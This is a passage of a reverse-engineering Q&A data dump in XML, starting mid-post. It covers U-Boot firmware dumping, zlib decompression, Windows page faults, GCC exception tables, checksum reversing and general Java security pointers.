version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the consoles specified in the &lt;code&gt;bootargs&lt;/code&gt; variable are from my experimentation. I've tried both &lt;code&gt;ttyAMA0&lt;/code&gt;, &lt;code&gt;ttyAMA1&lt;/code&gt;, &lt;code&gt;tty0&lt;/code&gt;, and lots of other similar variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The processor is a HiSilicon Hi3518, which is a ARM SoC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the only thing I can think of is to hot-air the flash IC off the board and dump it that way, but that's a lot of work, and I'd rather see if there is a software option first.&lt;/p&gt;&#xA;" OwnerUserId="8608" LastActivityDate="2020-02-05T09:46:59.460" Title="Extracting a firmware image via U-Boot" Tags="|hardware|firmware|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6301" PostTypeId="2" ParentId="6299" CreationDate="2014-09-24T09:27:36.120" Score="1" Body="&lt;p&gt;This might be an artifact of compiler optimization. Note the &lt;code&gt;li r4,0x14&lt;/code&gt; instruction - the compiler optimizes your &lt;code&gt;2*10&lt;/code&gt; calculation and loads the result, &lt;code&gt;20&lt;/code&gt;, into &lt;code&gt;r4&lt;/code&gt; directly. However, doing the calculation would modify some status bits, which the &lt;code&gt;li&lt;/code&gt; doesn't, so the compiler tries to do the same modification using &lt;code&gt;crclr&lt;/code&gt;, and the optimizer isn't smart enough to realize that this isn't really neccesary when it precedes a function call.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-09-24T09:27:36.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6302" PostTypeId="2" ParentId="6300" CreationDate="2014-09-24T10:03:53.667" Score="6" Body="&lt;p&gt;The way &lt;a href=&quot;http://igorsk.blogspot.be/2007/12/hacking-kindle-part-2-bootloader-and.html&quot; rel=&quot;noreferrer&quot;&gt;I did it on the Kindle&lt;/a&gt; was to load the flash partitions into memory and then using memory dump commands to dump them in hex format (and then some Python script to convert hex back to binary). It was kinda slow but did achieve the goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your U-Boot does not seem to have the &lt;code&gt;bbm&lt;/code&gt; command but &lt;code&gt;fload - load binary file from a filesystem image for system boot&lt;/code&gt; and &lt;code&gt;sf - SPI flash sub-system&lt;/code&gt; sounds promising, I'd suggest exploring them. You may also be able to use &lt;code&gt;tftp&lt;/code&gt; to send the images over the network and not have to dump them using the console.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-24T10:03:53.667" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6303" PostTypeId="2" ParentId="6297" CreationDate="2014-09-24T10:23:17.693" Score="4" Body="&lt;p&gt;The bytes at offset 0x10 are &lt;code&gt;78 DA&lt;/code&gt;, which hints very strongly to the zlib compression algorithm. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000: 00 52 42 42 00 6C 8C 60 │ 00 3E CE 22 27 4A 88 69   RBB lŒ` &amp;gt;Î&quot;'Jˆi&#xA;0000000010: 78 DA 74 9D 0B BC 97 63 │ D6 F7 77 24 A9 B0 25 95  xÚt♂¼—cÖ÷w$©°%•&#xA;            ^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this small Python script to decompress zlib-compressed streams:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# usage: unz.py infile outfile [start offset]&#xA;import zlib, sys&#xA;inf = open(sys.argv[1],&quot;rb&quot;)&#xA;off = 0&#xA;if len(sys.argv)&amp;gt;3: off = int(sys.argv[3],16)&#xA;inf.seek(off)&#xA;cdata = inf.read()&#xA;# auto-detect zlib/gzip/deflate&#xA;# http://stackoverflow.com/a/22310760/422797&#xA;d = zlib.decompressobj(zlib.MAX_WBITS|32)&#xA;udata = d.decompress(cdata)&#xA;udata += d.flush()&#xA;&#xA;clen = len(cdata) - len(d.unused_data)&#xA;ulen = len(udata)&#xA;&#xA;open(sys.argv[2],&quot;wb&quot;).write(udata)&#xA;print(&quot;%d -&amp;gt; %d; end of data: %08X&quot; % (clen, ulen, off+clen))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unz.py CITY.RBB CITY.UNP 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It decompresses nicely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3696259 -&amp;gt; 7113808; end of data: 00386693&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the output has some structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000: 00 00 00 01 00 00 00 00 │ 00 00 00 01 00 00 00 01     ☺       ☺   ☺&#xA;0000000010: 00 00 00 01 02 00 00 02 │ 00 00 00 50 00 6C 8C 10     ☺☻  ☻   P lŒ►&#xA;0000000020: 00 00 00 10 00 00 00 01 │ 00 00 00 00 00 00 00 00     ►   ☺&#xA;0000000030: CA 60 FA A2 42 43 52 00 │ 00 00 00 00 00 00 00 61  Ê`ú¢BCR        a&#xA;0000000040: 58 58 58 58 58 58 58 58 │ 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX&#xA;0000000050: 00 00 00 00 00 0D C4 6C │ 00 55 35 E0 00 61 3E 30       ♪Äl U5à a&amp;gt;0&#xA;0000000060: 00 63 79 F0 00 01 30 D3 │ 00 00 43 C7 00 03 02 14   cyð ☺0Ó  CÇ ♥☻¶&#xA;0000000070: 00 00 8E F0 00 00 C1 7E │ 00 00 00 00 00 00 00 00    Žð  Á~&#xA;0000000080: 00 61 3E 30 FF FF FF FF │ C3 7C D3 18 C2 B4 AF 10   a&amp;gt;0ÿÿÿÿÃ|Ó↑Â´¯►&#xA;0000000090: C4 74 57 67 C4 FB 0A 00 │ C4 A2 0D 4B C4 F5 E2 F3  ÄtWgÄû◙ Ä¢♪KÄõâó&#xA;00000000A0: 44 BB D5 3A 44 8B 77 68 │ 41 45 C6 00 00 00 00 00  D»Õ:D‹whAEÆ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, making sense of it may require you to look at the game code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-24T10:23:17.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6305" PostTypeId="1" CreationDate="2014-09-24T13:48:31.370" Score="5" ViewCount="790" Body="&lt;p&gt;Like almost all of my questions, I feel like I'm missing something / I understood something the wrong way, so help me figure out where I'm wrong with this.&lt;/p&gt;&#xA;&lt;p&gt;When a Page Fault occurs and &lt;code&gt;nt!KiTrap0E&lt;/code&gt; comes to save the day, the CPU saves the current state, then it pushes the EIP of the faulting instruction and an error code on the stack (32 bits on x86, 64 bits on x64, but only bits 0, 1 and 2 are relevant here) and loads CR2 with the referenced virtual address?&lt;/p&gt;&#xA;&lt;p&gt;So, when we are in &lt;code&gt;KiTrap06&lt;/code&gt; the stack looks like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; EIP of faulting instruction&#xA;&#xA; error code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is this right?&lt;/p&gt;&#xA;&lt;p&gt;So if I have the following code in user mode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LPVOID address = VirtualAlloc(NULL,&#xA;        1024,&#xA;        MEM_COMMIT,&#xA;        PAGE_READONLY);&#xA;*(PDWORD)address = 12;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the EIP will reach &lt;code&gt;*(PDWORD)address = 12&lt;/code&gt; (well, actually it will probably be &lt;code&gt;mov address, 0x0B&lt;/code&gt;, but let's simplify things) a Page Fault will occur, the CPU will save the current state, will push the EIP of that assignment, then an error code will be pushed on the stack (bits 2, 1 and 0: 1 (user process) 1 (tried to write a page) 1 (and caused a protection fault) ), and load CR2 with the address allocated with VirtualAlloc? The handler will check the error code and the Read\Write byte from PDE (upper 10 bits of CR2) and/or (??) PTE (middle 10 bits of CR2), see that an attempt to write to a read only page was made and will terminate the faulting process?&lt;/p&gt;&#xA;&lt;p&gt;If the page was writable but not loaded (last 3 bits of error code: 110) the handler will use the value from CR2 to bring the page into memory and the faulting instruction will be re-executed?&lt;/p&gt;&#xA;" OwnerUserId="8119" LastEditorUserId="37138" LastEditDate="2022-03-08T12:43:53.677" LastActivityDate="2022-03-08T12:43:53.677" Title="Page Fault Handler in Windows" Tags="|windows|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6306" PostTypeId="1" AcceptedAnswerId="6307" CreationDate="2014-09-24T17:45:14.177" Score="0" ViewCount="375" Body="&lt;p&gt;Where i can find a working link to this tutorial? I have searched a lot on the net but all links are broken. Could anyone upload it somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original link&#xA;&lt;a href=&quot;http://www.alex-ionescu.com/vb.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.alex-ionescu.com/vb.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8610" LastActivityDate="2014-09-25T12:05:00.283" Title="Where can i find Visual Basic Image Internal Structure Format by Alex Ionescu?" Tags="|patch-reversing|visual-basic|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6307" PostTypeId="2" ParentId="6306" CreationDate="2014-09-24T19:00:46.730" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf&quot; rel=&quot;nofollow&quot;&gt;http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[more chars ftw][more chars ftw]&lt;/p&gt;&#xA;" OwnerUserId="8612" LastEditorUserId="8612" LastEditDate="2014-09-25T12:05:00.283" LastActivityDate="2014-09-25T12:05:00.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6310" PostTypeId="2" ParentId="6280" CreationDate="2014-09-24T22:55:36.880" Score="0" Body="&lt;p&gt;I found that (at least on Linux) it was reliable to intercept _init and to read from a constant offset from the stack pointer was pretty reliable. I ended up producing a pintool that would do just that. &lt;/p&gt;&#xA;" OwnerUserId="8394" LastActivityDate="2014-09-24T22:55:36.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6311" PostTypeId="1" AcceptedAnswerId="6312" CreationDate="2014-09-25T01:01:21.850" Score="7" ViewCount="4212" Body="&lt;p&gt;For &lt;code&gt;C++&lt;/code&gt; program with &lt;code&gt;try&lt;/code&gt; &lt;code&gt;catch&lt;/code&gt; defined, when using &lt;code&gt;g++&lt;/code&gt; to compile it into assembly code (test is on x86 32bit Linux, &lt;code&gt;g++&lt;/code&gt; 4.6.3)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g++ -S cppexcept.cc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A specified section called &lt;code&gt;.gcc_except_table&lt;/code&gt; is produced like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        .section        .gcc_except_table&#xA;        .align 4&#xA;.LLSDA980:&#xA;        .byte   0xff&#xA;        .byte   0&#xA;        .uleb128 .LLSDATT980-.LLSDATTD980&#xA;.LLSDATTD980:&#xA;        .byte   0x1&#xA;        .uleb128 .LLSDACSE980-.LLSDACSB980&#xA;.LLSDACSB980:&#xA;        .uleb128 .LEHB3-.LFB980&#xA;        .uleb128 .LEHE3-.LEHB3&#xA;        .uleb128 0&#xA;        .uleb128 0&#xA;        .uleb128 .LEHB4-.LFB980&#xA;        .uleb128 .LEHE4-.LEHB4&#xA;        .uleb128 .L19-.LFB980&#xA;        .uleb128 0x3&#xA;        .uleb128 .LEHB5-.LFB980&#xA;        .uleb128 .LEHE5-.LEHB5&#xA;        .uleb128 0&#xA;        .uleb128 0&#xA;        .uleb128 .LEHB6-.LFB980&#xA;        .uleb128 .LEHE6-.LEHB6&#xA;        .uleb128 .L20-.LFB980&#xA;        .uleb128 0&#xA;        .uleb128 .LEHB7-.LFB980&#xA;        .uleb128 .LEHE7-.LEHB7&#xA;        .uleb128 .L21-.LFB980&#xA;        .uleb128 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the compilation into &lt;code&gt;exe file&lt;/code&gt; with &lt;code&gt;ELF&lt;/code&gt; format, it seems that there are two sections related to exception handling, which are &lt;code&gt;.gcc_except_table&lt;/code&gt; and &lt;code&gt;.eh_frame&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I dumped the contents of these two section with the following commands, comparing the labels' memory addresses with what are defined in &lt;code&gt;.gcc_except_table&lt;/code&gt;, but it seems too blur to me...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -s -j .gcc_except_table cppexcept&#xA;objdump -s -j .eh_frame cppexcept&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to recover the information defined in the &lt;code&gt;.gcc_except_table&lt;/code&gt; (which is shown above) from &lt;code&gt;ELF&lt;/code&gt; file's &lt;code&gt;.gcc_except_table&lt;/code&gt; and &lt;code&gt;eh_frame&lt;/code&gt; tables?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-09-25T10:38:11.187" Title="How to recover the exception info from .gcc_except_table and .eh_handle sections?" Tags="|disassembly|assembly|x86|c++|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6312" PostTypeId="2" ParentId="6311" CreationDate="2014-09-25T10:38:11.187" Score="10" Body="&lt;p&gt;(I think you may get some extra comments if you use &lt;code&gt;-fverbose-asm&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recovering information from these tables is definitely possible, although documentation is scarce and is often present only in the code which parses them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;.eh_frame&lt;/code&gt; layout is described briefly in the &lt;a href=&quot;http://refspecs.linuxfoundation.org/LSB_3.0.0/LSB-Core-generic/LSB-Core-generic/ehframechpt.html&quot;&gt;LSB documentation&lt;/a&gt;. Ian Lance Taylor (author of the gold linker) also made some blog posts on &lt;a href=&quot;http://www.airs.com/blog/archives/460&quot;&gt;&lt;code&gt;.eh_frame&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.airs.com/blog/archives/464&quot;&gt;&lt;code&gt;.gcc_except_table&lt;/code&gt; layout&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more reference-like description, check my &lt;a href=&quot;http://www.hexblog.com/wp-content/uploads/2012/06/Recon-2012-Skochinsky-Compiler-Internals.pdf&quot;&gt;Recon 2012 slides&lt;/a&gt; (start at 37 or so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made &lt;a href=&quot;http://www.hexblog.com/wp-content/uploads/2012/06/recon-2012-skochinsky-scripts.zip&quot;&gt;an IDA script&lt;/a&gt; (&lt;code&gt;gcc_extab.py&lt;/code&gt;) which parses &lt;code&gt;.eh_frame&lt;/code&gt; and &lt;code&gt;.gcc_except_table&lt;/code&gt; and formats them nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a sample program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void f()&#xA;{&#xA;    throw 1;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    int j;&#xA;    try {&#xA;        f();&#xA;    } catch (int i) {&#xA;        j = i;&#xA;    }   &#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll show the commented structures produced by GCC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the &lt;code&gt;.eh_table&lt;/code&gt; (some parts omitted for clarity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.Lframe1:                     # start of CFI 1&#xA;    .long   .LECIE1-.LSCIE1   # length of CIE 1 data&#xA;.LSCIE1:                      # start of CIE 1 data&#xA;    .long   0                 # CIE id&#xA;    .byte   0x1               # Version&#xA;    .string &quot;zPL&quot;             # augmentation string:&#xA;                              # z: has augmentation data&#xA;                              # P: has personality routine pointer&#xA;                              # L: has LSDA pointer&#xA;    .uleb128 0x1              # code alignment factor&#xA;    .sleb128 -4               # data alignment factor&#xA;    .byte   0x8               # return address register no.&#xA;    .uleb128 0x6              # augmentation data length (z)&#xA;    .byte   0                 # personality routine pointer encoding (P): DW_EH_PE_ptr|DW_EH_PE_absptr&#xA;    .long   __gxx_personality_v0 # personality routine pointer (P)&#xA;    .byte   0                 # LSDA pointer encoding: DW_EH_PE_ptr|DW_EH_PE_absptr&#xA;    .byte   0xc               # Initial CFI Instructions&#xA;    [...]&#xA;    .align 4&#xA;.LECIE1:                      # end of CIE 1&#xA;    [...]&#xA;&#xA;.LSFDE3:                      # start of FDE 3&#xA;    .long   .LEFDE3-.LASFDE3  # length of FDE 3&#xA;.LASFDE3:                     # start of FDE 3 data&#xA;    .long   .LASFDE3-.Lframe1 # Distance to parent CIE from here&#xA;    .long   .LFB1             # initial location                &#xA;    .long   .LFE1-.LFB1       # range length                    &#xA;    .uleb128 0x4              # Augmentation data length (z)    &#xA;    .long   .LLSDA1           # LSDA pointer (L)                &#xA;    .byte   0x4               # CFI instructions                &#xA;    .long   .LCFI2-.LFB1&#xA;    [...]&#xA;    .align 4&#xA;.LEFDE3:                      # end of FDE 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, the LSDA (language-specific data area) in &lt;code&gt;.gcc_except_table&lt;/code&gt;, referenced by FDE 3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.LLSDA1:                           # LSDA 1&#xA;    .byte   0xff                   # LPStart encoding: DW_EH_PE_omit&#xA;    .byte   0                      # TType encoding: DW_EH_PE_ptr|DW_EH_PE_absptr&#xA;    .uleb128 .LLSDATT1-.LLSDATTD1  # TType offset&#xA;.LLSDATTD1:                        # LSDA 1 action table&#xA;    .byte   0x1                    # call site encoding: DW_EH_PE_uleb128|DW_EH_PE_absptr&#xA;    .uleb128 .LLSDACSE1-.LLSDACSB1 # call site table length&#xA;.LLSDACSB1:                        # LSDA 1 call site entries&#xA;    .uleb128 .LEHB0-.LFB1          # call site 0 start&#xA;    .uleb128 .LEHE0-.LEHB0         # call site 0 length&#xA;    .uleb128 .L8-.LFB1             # call site 0 landing pad&#xA;    .uleb128 0x1                   # call site 0 action (1=action 1)&#xA;    .uleb128 .LEHB1-.LFB1          # call site 1 start&#xA;    .uleb128 .LEHE1-.LEHB1         # call site 1 length&#xA;    .uleb128 0                     # call site 1 landing pad&#xA;    .uleb128 0                     # call site 1 action (0=no action)&#xA;.LLSDACSE1:                        # LSDA 1 action table entries&#xA;    .byte   0x1                    # action 1 filter (1=T1 typeinfo)&#xA;    .byte   0                      # displacement to next action (0=end of chain)&#xA;    .align 4&#xA;    .long   _ZTIi                  # T1 typeinfo (&quot;typeinfo for int&quot;)&#xA;.LLSDATT1:                         # LSDA 1 TTBase&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-25T10:38:11.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6314" PostTypeId="1" AcceptedAnswerId="6319" CreationDate="2014-09-25T13:49:23.777" Score="1" ViewCount="535" Body="&lt;p&gt;I am looking to get started with Java exploitation. I have not found a good place start or even how to start, so I am asking here. What are the publicly available exploits for Java that one can study ? Also what would be a good starting point ?(ex. maybe decompilation ) &lt;/p&gt;&#xA;" OwnerUserId="8362" LastActivityDate="2014-09-26T12:36:22.973" Title="exploit - Getting started with Java exploitation" Tags="|exploit|java|" AnswerCount="2" CommentCount="1" ClosedDate="2014-09-26T21:12:24.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="6315" PostTypeId="1" CreationDate="2014-09-25T14:35:34.490" Score="1" ViewCount="1967" Body="&lt;p&gt;I managed to copy the Firmware out of a device and tried to extract to content with binwalk but the Signature tells it's encoded with OpenSSL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which are the possible ways to find out which type of chipper has been used and so on.&#xA;Cheers,&lt;/p&gt;&#xA;" OwnerUserId="8618" LastActivityDate="2017-05-04T10:24:53.913" Title="Firmware encrypted with Openssl" Tags="|firmware|decryption|cryptography|" AnswerCount="1" CommentCount="3" ClosedDate="2017-05-04T21:22:28.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="6316" PostTypeId="2" ParentId="6314" CreationDate="2014-09-25T15:18:47.243" Score="2" Body="&lt;p&gt;So the first question is, what are you trying to exploit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Historically, the most popular target is the Java Browser plugin, because the sandboxing relies entirely on in-process Java code, with an attack surface of over 18,000 classes in the standard library. Naturally, this means that it's a frequent source of vulnerabilities, to the point where a lot of people have just disabled the plugin entirely, and even Oracle has made it harder to run applets automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to find your own vulnerability, it's just a matter of looking through the standard library code (everything in rt.jar is privileged) and find something that does sensitive operations without properly validating the caller's permissions.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2014-09-25T15:18:47.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6317" PostTypeId="2" ParentId="6259" CreationDate="2014-09-26T07:24:33.083" Score="6" Body="&lt;p&gt;Like others I would recommend trying to get the assembly code that computes the checksum. If you obtain that the rest is easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However sometimes that can be very hard to obtain, so here are some tips on reverse-engineering checksums without any code.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Remember that a checksum algorithm is a design choice made by engineers, so think about the constraints and practices that may have contributed to this choice.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is older hardware so efficiency may have been a concern - nobody wants to wait 2 minutes to save/load a game. This means bitshifts, XORs and lookup tables are much more likely than complex branching, multiplication, division, or anything involving floating-point numbers. It is also likely that the algorithm makes a single pass through the data.&lt;/li&gt;&#xA;&lt;li&gt;The algorithm may be identical to, or a variation of, checksum algorithms in other games by the same studio or same programmers.&lt;/li&gt;&#xA;&lt;li&gt;The algorithm may be an off-the-shelf algorithm (like MD5 - which was designed in 1991 and therefore predates the game)&lt;/li&gt;&#xA;&lt;li&gt;The algorithm may be based on checksumming guidelines published by Sony or published in a book on game design or some such&lt;/li&gt;&#xA;&lt;li&gt;Obviously the date the game was published is critical in investigating this area&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get familiar with the most important checksum/hash algorithms, particularly ones that were in vogue when the game was published.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Strictly speaking the algorithm is a hash function, because small changes in the plaintext completely change the hash value&lt;/li&gt;&#xA;&lt;li&gt;Try various hash functions that existed at the time the game was created (e.g. MD5) on your data, and see if it matches. Be careful of bugs in your code when you do this (e.g. silly errors like sending the string '\x00' into the hash function instead of a NUL byte)&lt;/li&gt;&#xA;&lt;li&gt;Understanding how common hash functions work helps you guess how unknown ones may work. If this algorithm was developed in-house, it is likely to be simpler than the major hash functions of the day - or it may be exactly the same as, say, MD5 but use different constants. That would be quite hard to reverse-engineer, particularly if you can't automatically run through millions of test cases.&lt;/li&gt;&#xA;&lt;li&gt;Many hash algorithms (including MD5 and SHA-1) make a single pass over the data. Both MD5 and SHA-1 process the message in 64-byte chunks&lt;/li&gt;&#xA;&lt;li&gt;Assuming this is true of the algorithm we are reversing, this means that changes to the last two chunks of the message are likely to yield the most information, since the effects of changes to early chunks are likely &quot;garbled&quot; pretty quickly. For instance, you may want to make a 1-bit change in the last chunk of the message and see the XOR difference it makes, then make a 1-bit change to the second-last chunk of the message, and once again make the same 1-bit change in the last chunk, and see the XOR difference it makes. Or you can make lots of 1-bit changes to the last chunk and see if there is any pattern to it. Note that MD5 and SHA-1 both append an extra bit to the end of the message, which in this case would add a whole extra chunk to the end which would complicate matters.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Maybe someone's done it already?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Googling the all-0s hash value you provided, I found this: &lt;a href=&quot;http://www.fireproclub.com/forum/viewtopic.php?f=12&amp;amp;t=1860&quot; rel=&quot;noreferrer&quot;&gt;http://www.fireproclub.com/forum/viewtopic.php?f=12&amp;amp;t=1860&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;It doesn't look like they figured it out but maybe someone else has (and possibly put it in an open-source tool), or you can contact programmers on the game team, and ask them, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Happy reversing!&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2014-09-26T07:24:33.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6318" PostTypeId="1" CreationDate="2014-09-26T09:52:20.023" Score="6" ViewCount="4224" Body="&lt;p&gt;I have an instructions defined from &lt;code&gt;address+1&lt;/code&gt; onward and a byte at &lt;code&gt;address&lt;/code&gt;. I'd like to undefine the instructions from &lt;code&gt;address+1&lt;/code&gt; onward and redefine them from &lt;code&gt;address&lt;/code&gt; using &lt;code&gt;MakeCode&lt;/code&gt; or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have not found any functions to undefine instructions. Any pointers on where I should be looking?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-02-23T23:46:50.800" Title="Idapython - undefining an instruction" Tags="|ida|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6319" PostTypeId="2" ParentId="6314" CreationDate="2014-09-26T12:36:22.973" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the publicly available exploits for Java that one can study ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are about 20 publicly available exploits for Java here, with annotated source code and references to the vulnerabilities being exploited: &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/browser&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/browser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-26T12:36:22.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6320" PostTypeId="1" AcceptedAnswerId="6326" CreationDate="2014-09-26T14:51:03.367" Score="3" ViewCount="323" Body="&lt;p&gt;I recently heard that using Java inner classes in a class that enclose sensitive information is causing the &lt;code&gt;private&lt;/code&gt; data of the class to be changed to &lt;code&gt;protected&lt;/code&gt; at the bytecode level (meaning that any other class of the package may access it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I do not have any expertise in bytecode reading I would like to know if it is true, and get some explanation of this problem.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2020-02-29T17:10:10.410" Title="What is the problem with using inner classes in a class enclosing sensitive information?" Tags="|exploit|java|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6321" PostTypeId="2" ParentId="2888" CreationDate="2014-09-26T16:52:24.137" Score="4" Body="&lt;p&gt;Lots of Java exploits revolve around bypassing the Java sandbox, the Security Manager in Java parlance. Sami Koivu published a lot of interesting work around Java security and exploits, notably his 3 parts introduction to Java security. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://slightlyrandombrokenthoughts.blogspot.ca/2009/02/java-se-security-part-i_25.html&quot; rel=&quot;nofollow&quot;&gt;http://slightlyrandombrokenthoughts.blogspot.ca/2009/02/java-se-security-part-i_25.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://slightlyrandombrokenthoughts.blogspot.ca/2009/07/java-se-security-part-ii-immutability.html&quot; rel=&quot;nofollow&quot;&gt;http://slightlyrandombrokenthoughts.blogspot.ca/2009/07/java-se-security-part-ii-immutability.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://slightlyrandombrokenthoughts.blogspot.ca/2010/02/java-se-security-part-iii-keys.html&quot; rel=&quot;nofollow&quot;&gt;http://slightlyrandombrokenthoughts.blogspot.ca/2010/02/java-se-security-part-iii-keys.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-09-26T16:52:24.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
